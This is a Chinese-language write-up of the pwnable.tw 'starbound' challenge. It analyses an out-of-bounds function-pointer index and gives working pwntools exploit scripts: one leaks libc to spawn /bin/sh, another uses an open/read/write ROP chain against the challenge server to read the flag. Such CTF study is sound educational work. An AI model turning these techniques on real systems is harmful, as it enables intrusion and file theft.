题目二进制文件:starbound
漏洞分析
以下是starbound的main函数,v3是用户输入的值,被用作数组index而未提前做检查,因此存在数组越界漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int __cdecl main(int argc, const char **argv, const char **envp) { int v3; char nptr[256];
init(); while ( 1 ) { dword_805817C(60); if ( !readn(nptr, 0x100u) ) break; v3 = strtol(nptr, 0u, 10); if ( !v3 ) break; ((void (*)(void))dword_8058154[v3])(); } do_bye(); return 0; }
|
dword_8058154是bss段的地址,这附近存放了许多函数指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| int show_main_menu() { int result;
puts("\n-+STARBOUND v1.0+-"); puts(" 0. Exit"); puts(" 1. Info"); puts(" 2. Move"); puts(" 3. View"); puts(" 4. Tools"); puts(" 5. Kill"); puts(" 6. Settings"); puts(" 7. Multiplayer"); __printf_chk(1, "> "); for ( result = 0; result <= 9; ++result ) dword_8058154[result] = (int)cmd_nop; dword_8058158 = (int)cmd_info; dword_805815C = (int)cmd_move; dword_8058160 = (int)cmd_view; dword_8058164 = (int)cmd_build; dword_8058168 = (int)cmd_kill; dword_805816C = (int)cmd_settings; dword_8058170 = (int)cmd_multiplayer; return result; }
|
考虑通过数组越界访问到一些恶意构造的函数指针,这样我们就能劫持控制流。
继续分析程序分支,show_main_menu() —> cmd_settings() —> show_settings_menu() —> cmd_set_name()中,byte_80580D0也是bss段的地址,且我们可以控制其内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| void cmd_go_back() { dword_805817C = show_main_menu; }
int show_main_menu() { int result;
puts("\n-+STARBOUND v1.0+-"); puts(" 0. Exit"); puts(" 1. Info"); puts(" 2. Move"); puts(" 3. View"); puts(" 4. Tools"); puts(" 5. Kill"); puts(" 6. Settings"); puts(" 7. Multiplayer"); __printf_chk(1, "> "); for ( result = 0; result <= 9; ++result ) dword_8058154[result] = (int)cmd_nop; dword_8058158 = (int)cmd_info; dword_805815C = (int)cmd_move; dword_8058160 = (int)cmd_view; dword_8058164 = (int)cmd_build; dword_8058168 = (int)cmd_kill; dword_805816C = (int)cmd_settings; dword_8058170 = (int)cmd_multiplayer; return result; }
void cmd_settings() { dword_805817C = show_settings_menu; }
int show_settings_menu() { int result;
if ( dword_80580CC ) cmd_view(); puts("\n-+STARBOUND v1.0: SETTINGS+-"); puts(" 0. Exit"); puts(" 1. Back"); puts(" 2. Name"); puts(" 3. IP"); puts(" 4. Toggle View"); __printf_chk(1, "> "); for ( result = 0; result <= 9; ++result ) dword_8058154[result] = (int)cmd_nop; dword_8058158 = (int)cmd_go_back; dword_805815C = (int)cmd_set_name; dword_8058160 = (int)cmd_set_ip; dword_8058164 = (int)cmd_set_autoview; return result; }
int cmd_set_name() { int result;
__printf_chk(1, "Enter your name: "); result = readn(byte_80580D0, 100u); *(_BYTE *)(result + 0x80580CF) = 0; return result; }
|
计算一下byte_80580D0与dword_8058154两者的距离,因此通过dword_8058154[-33]即可访问到byte_80580D0地址存放的内容。此时已实现控制流劫持。
1 2
| >>> hex(0x8058154-0x80580D0) '0x84'
|
漏洞利用
程序中:
- 没有后门函数
- 没有system或execve函数
- 没有int 80或syscall指令
- 没有“/bin/sh”字符串
- 没有给libc
方法1:泄露libc版本
首先想到的是,通过泄露libc版本,进而执行one_gadget或构造system(“/bin/sh”)这种方法。
exp如下,该方法在本地能成功。但是在泄露远程libc版本时,发现泄露不同函数会得到不同libc版本。猜测远程libc是特意改过的,无法用这种方法准确获得system函数在libc中的偏移,故本题放弃使用该方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * context(arch="i386",os="linux",log_level="debug")
libc_elf = ELF("./libc-2.27.so") io = process("./starbound")
io.recvuntil("> ") io.sendline(str(6)) io.recvuntil("> ") io.sendline(str(2)) name_e = p32(0x08048e48)
io.recvuntil("name: ") io.sendline(name_e)
payload = '-33\x00'+'aaaa'+p32(0x8048b90)+p32(0x804A605)+p32(0x8055054)
io.recvuntil("> ") io.sendline(payload)
read_addr = u32(io.recv(4)) print "!!!!read!!!!!" print hex(read_addr) libc_base = read_addr - libc_elf.symbols["read"] system_addr = libc_base + libc_elf.symbols["system"] print "!!!!libc_base!!!!" print hex(libc_base) print "!!!!system!!!!" print hex(system_addr)
io.recvuntil("> ") io.sendline(str(6)) io.recvuntil("> ") io.sendline(str(2)) name_e = p32(system_addr) io.recvuntil("name: ") io.sendline(name_e) payload = " -33;/bin/sh\x00" io.recvuntil("> ") io.sendline(payload) io.interactive()
|
方法2:ORW
在程序got表中看了看,发现有正好有open、read、write三个函数!这正好可以构造orw!当然在不知flag目录的前提下有点难度,不过pwnable.tw的flag一般在/home/题目名/flag,所以这里取个巧。
需要注意的是,ctf题目中,一般情况下程序中不会打开其他文件,因此进程只有0 1 2 (stdin,stdout,stderr)这三个文件描述符。因此,当我们使用open打开文件后,其fd一定是3。
如果程序中打开了其他文件,依次尝试下4/5/6就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * context(arch="i386",os="linux",log_level="debug")
io = remote("chall.pwnable.tw",10202)
def send_payload(val1,val2): io.recvuntil("> ") io.sendline(str(6)) io.recvuntil("> ") io.sendline(str(2)) name_e = val1 io.recvuntil("name: ") io.sendline(name_e) payload = val2 io.recvuntil("> ") io.sendline(payload)
val1 = p32(0x08048e48)+"/home/starbound/flag\x00" val2 = '-33\x00'+'aaaa'+p32(0x8048970)+p32(0x804A605)+p32(0x80580D4)+p32(0) send_payload(val1,val2)
val1 = p32(0x08048e48) val2 = '-33\x00'+'aaaa'+p32(0x8048A70)+p32(0x804A605)+p32(3)+p32(0x80580F0)+p32(0x30) send_payload(val1,val2)
val1 = p32(0x08048e48) val2 = '-33\x00'+'aaaa'+p32(0x8048A30)+p32(0x804A605)+p32(1)+p32(0x80580F0)+p32(0x30) send_payload(val1,val2)
flag = io.recv(0x20) print flag
io.recvuntil(">") io.interactive()
|
方法3:ret2dl_runtime_resolve
看了别人的wp,基本上都是用这种方法来做的。这种方法比较保险,但是过程有点复杂。
犯懒了,哪天想起来再补上吧~